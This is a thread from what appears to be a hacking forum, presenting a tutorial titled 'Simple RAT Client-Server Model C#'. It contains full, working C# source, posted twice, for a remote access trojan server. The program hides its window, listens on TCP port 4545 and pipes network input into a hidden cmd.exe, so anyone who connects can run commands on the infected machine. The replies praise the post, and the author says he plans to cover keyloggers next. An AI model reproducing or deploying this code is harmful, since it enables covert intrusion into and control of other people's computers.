Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TUT] Simple RAT Client-Server Model C#



Code from video:
Code
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net.Sockets;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace rat_tutorial
{
    public partial class Form1 : Form
    {
        TcpListener tcplis;
        Socket socketclient;
        NetworkStream netstream;
        StreamWriter streamwriter;
        StreamReader streamreader;
        Process cmd_shell;
        StringBuilder strInput;
       
       
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Shown(object sender, EventArgs e)
        {
            this.Hide();
            tcplis = new TcpListener(System.Net.IPAddress.Any, 4545);
            tcplis.Start();
            for (; ; )
            {
                RunServer();
            }
        }

        private void RunServer()
        {
            socketclient = tcplis.AcceptSocket();
            netstream = new NetworkStream(socketclient);
            streamreader = new StreamReader(netstream);
            streamwriter = new StreamWriter(netstream);

            cmd_shell = new Process();
            cmd_shell.StartInfo.FileName = "cmd.exe";
            cmd_shell.StartInfo.CreateNoWindow = true;
            cmd_shell.StartInfo.UseShellExecute = false;
            cmd_shell.StartInfo.RedirectStandardOutput = true;
            cmd_shell.StartInfo.RedirectStandardInput = true;
            cmd_shell.StartInfo.RedirectStandardError = true;
            cmd_shell.OutputDataReceived +=
            new DataReceivedEventHandler(outputhandler);
            cmd_shell.Start();
            cmd_shell.BeginOutputReadLine();
            strInput = new StringBuilder();

            while (true)
            {
                try
                {
                    strInput.Append(streamreader.ReadLine());
                    strInput.Append("\n");
                    cmd_shell.StandardInput.WriteLine(strInput);
                    if (strInput.ToString().LastIndexOf("exit") >= 0)
                        StopServer();
                    if (strInput.ToString().LastIndexOf("exit") >= 0) throw
                    new ArgumentException();
                    strInput = strInput.Remove(0, strInput.Length);
                }
                catch (Exception err)
                {
                    close_connection();
                    break;
                };
            }
        }

        private void close_connection()
        {
            try { cmd_shell.Kill(); } catch (Exception err) { };
            streamreader.Close();
            streamwriter.Close();
            netstream.Close();
            socketclient.Close();
        }
        private void StopServer()
        {
            close_connection();
            System.Environment.Exit(System.Environment.ExitCode);
        }

        private void outputhandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    strOutput.Append(outLine.Data);
                    streamwriter.WriteLine(strOutput);
                    streamwriter.Flush();
                }
                catch (Exception err) { }
            }
        }
    }
}
(Apr 4, 2022 09:17 PM)forfeit Wrote:  Nice video - appreciate the high quality contribution to this section. :)

Especially nice of you to break down what everything is doing.

Thank you! There’s a lot that goes into these applications everyone uses on here.
Nice share, But you should post in C# sections.
Mainly users in this section dont know programming.
(Apr 5, 2022 09:20 AM)forfeit Wrote:  Maybe it's a good start for them to know what tooling they're using when they're asking how to port forward, wouldn't you agree?

most of the users over here are kids, they dont even know basics.
so from my point its hard for them.
(Apr 5, 2022 12:53 PM)jmark7 Wrote:  most of the users over here are kids, they dont even know basics.
so from my point its hard for them.

No harm in education.
(Apr 4, 2022 04:42 PM)Midi-Chlorian Wrote:  
Code from video:
Code
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net.Sockets;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;

namespace rat_tutorial
{
    public partial class Form1 : Form
    {
        TcpListener tcplis;
        Socket socketclient;
        NetworkStream netstream;
        StreamWriter streamwriter;
        StreamReader streamreader;
        Process cmd_shell;
        StringBuilder strInput;
       
       
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Shown(object sender, EventArgs e)
        {
            this.Hide();
            tcplis = new TcpListener(System.Net.IPAddress.Any, 4545);
            tcplis.Start();
            for (; ; )
            {
                RunServer();
            }
        }

        private void RunServer()
        {
            socketclient = tcplis.AcceptSocket();
            netstream = new NetworkStream(socketclient);
            streamreader = new StreamReader(netstream);
            streamwriter = new StreamWriter(netstream);

            cmd_shell = new Process();
            cmd_shell.StartInfo.FileName = "cmd.exe";
            cmd_shell.StartInfo.CreateNoWindow = true;
            cmd_shell.StartInfo.UseShellExecute = false;
            cmd_shell.StartInfo.RedirectStandardOutput = true;
            cmd_shell.StartInfo.RedirectStandardInput = true;
            cmd_shell.StartInfo.RedirectStandardError = true;
            cmd_shell.OutputDataReceived +=
            new DataReceivedEventHandler(outputhandler);
            cmd_shell.Start();
            cmd_shell.BeginOutputReadLine();
            strInput = new StringBuilder();

            while (true)
            {
                try
                {
                    strInput.Append(streamreader.ReadLine());
                    strInput.Append("\n");
                    cmd_shell.StandardInput.WriteLine(strInput);
                    if (strInput.ToString().LastIndexOf("exit") >= 0)
                        StopServer();
                    if (strInput.ToString().LastIndexOf("exit") >= 0) throw
                    new ArgumentException();
                    strInput = strInput.Remove(0, strInput.Length);
                }
                catch (Exception err)
                {
                    close_connection();
                    break;
                };
            }
        }

        private void close_connection()
        {
            try { cmd_shell.Kill(); } catch (Exception err) { };
            streamreader.Close();
            streamwriter.Close();
            netstream.Close();
            socketclient.Close();
        }
        private void StopServer()
        {
            close_connection();
            System.Environment.Exit(System.Environment.ExitCode);
        }

        private void outputhandler(object sendingProcess, DataReceivedEventArgs outLine)
        {
            StringBuilder strOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(outLine.Data))
            {
                try
                {
                    strOutput.Append(outLine.Data);
                    streamwriter.WriteLine(strOutput);
                    streamwriter.Flush();
                }
                catch (Exception err) { }
            }
        }
    }
}

Thanks for contributing...
Excellent contribution. Glad to see members like you on this forum.
(Apr 6, 2022 04:44 PM)lightduty Wrote:  Thanks for contributing...

(Apr 6, 2022 04:50 PM)Enzo Wrote:  Excellent contribution. Glad to see members like you on this forum.

(Apr 6, 2022 06:35 PM)Dyne Wrote:  Great job.
Keep it coming, Tuts are what makes the forum go around.

Thanks for all the positive feedback. I'm thinking about covering remote desktop and keyloggers soon as a continuation to this video.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by Midi-ChlorianDec 15, 2022 01:22 PM 43 2,845 Dec 15, 2022 01:22 PM
Last Post: almightyjojo
by selerApr 29, 2018 02:00 PM 2 229 Apr 29, 2018 02:00 PM
Last Post: cyberowner
by DaftHackerDec 12, 2016 05:28 PM 9 323 Dec 12, 2016 05:28 PM
Last Post: Ainaj